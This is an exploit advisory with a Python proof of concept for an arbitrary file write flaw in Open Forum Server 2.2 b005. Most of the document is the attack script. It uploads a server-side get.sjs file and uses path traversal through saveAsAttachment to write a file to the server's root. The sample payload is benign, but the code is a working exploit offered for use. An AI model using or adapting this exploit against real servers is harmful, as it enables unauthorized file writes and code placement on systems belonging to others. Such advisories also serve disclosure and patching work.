Open Forum Server 2.2 b005 Arbitrary File Write

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# _ _ __ __ __ _______ _____ __ __ _____ _ _ _____ __ __ #  
# /_/\ /\_\ /\_\ /\_\ /\_\ /\_______)\ ) ___ ( /_/\__/\ ) ___ ( /_/\ /\_\ /\_____\/_/\__/\ #  
# ) ) )( ( ( \/_/( ( ( ( ( ( \(___ __\// /\_/\ \ ) ) ) ) )/ /\_/\ \ ) ) )( ( (( (_____/) ) ) ) ) #  
# /_/ //\\ \_\ /\_\\ \_\ \ \_\ / / / / /_/ (_\ \ /_/ /_/ // /_/ (_\ \/_/ //\\ \_\\ \__\ /_/ /_/_/ #  
# \ \ / \ / // / // / /__ / / /__ ( ( ( \ \ )_/ / / \ \ \_\/ \ \ )_/ / /\ \ / \ / // /__/_\ \ \ \ \ #  
# )_) /\ (_(( (_(( (_____(( (_____( \ \ \ \ \/_\/ / )_) ) \ \/_\/ / )_) /\ (_(( (_____\)_) ) \ \ #  
# \_\/ \/_/ \/_/ \/_____/ \/_____/ /_/_/ )_____( \_\/ )_____( \_\/ \/_/ \/_____/\_\/ \_\/ #  
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#============================================================================================================#  
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# Vulnerability............Arbitrary File Write #  
# Software.................Open Forum Server 2.2 b005 #  
# Download.................http://code.google.com/p/open-forum #  
# Date.....................5/23/10 #  
# #  
#============================================================================================================#  
# #  
# Site.....................http://cross-site-scripting.blogspot.com/ #  
# [email protected] #  
# #  
#============================================================================================================#  
# #  
# ##Description## #  
# #  
# An arbitrary file write vulnerability in the saveAsAttachment method of Open Forum Server 2.2 b005 can be #  
# exploited to write to the local file system of the server. #  
# #  
# #  
# ##Exploit## #  
# #  
# Upload a get.sjs file that calls the vulnerable method. Request the script's containing folder. #  
# #  
# #  
# ##Proof of Concept## #  
# #  
import sys, socket  
host = 'localhost'  
port = 80  
  
def send_request(request):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(32) # sometimes it takes a while  
s.connect((host, port))  
s.send(request)  
  
response = s.recv(8192) + s.recv(8192) # a hack within a hack   
  
return response  
  
def write_file():  
try:  
content = '----x--\r\n'\  
'Content-Disposition: form-data; name="file"; filename="get.sjs"\r\n'\  
'Content-Type: application/octet-stream\r\n\r\n'\  
'fileName = "' + '..\\\\' * 256 + 'x.txt";\r\n'\  
'data = "hello, world";\r\n'\  
'user = transaction.getUser();\r\n'\  
'wiki.saveAsAttachment("x",fileName,data,user);\r\n'\  
'transaction.sendPage("File Written");\r\n\r\n'\  
'----x----\r\n'  
  
response = send_request('POST OpenForum/Actions/Attach?page=OpenForum HTTP/1.1\r\n'  
'Host: ' + host + '\r\n'  
'Content-Type: multipart/form-data; boundary=--x--\r\n'  
'Content-Length: ' + str(len(content)) + '\r\n\r\n' + content)  
  
if 'HTTP/1.1 302 Redirect' not in response:  
print 'Error writing get.sjs'  
return  
else: print 'get.sjs created'  
  
response = send_request('GET OpenForum HTTP/1.1\r\n'  
'Host: ' + host + '\r\n\r\n')  
  
if 'File Written' not in response:  
print 'Error writing to root'  
return  
else: print 'x.txt created in root'  
  
except Exception:  
print sys.exc_info()   
  
write_file()  
`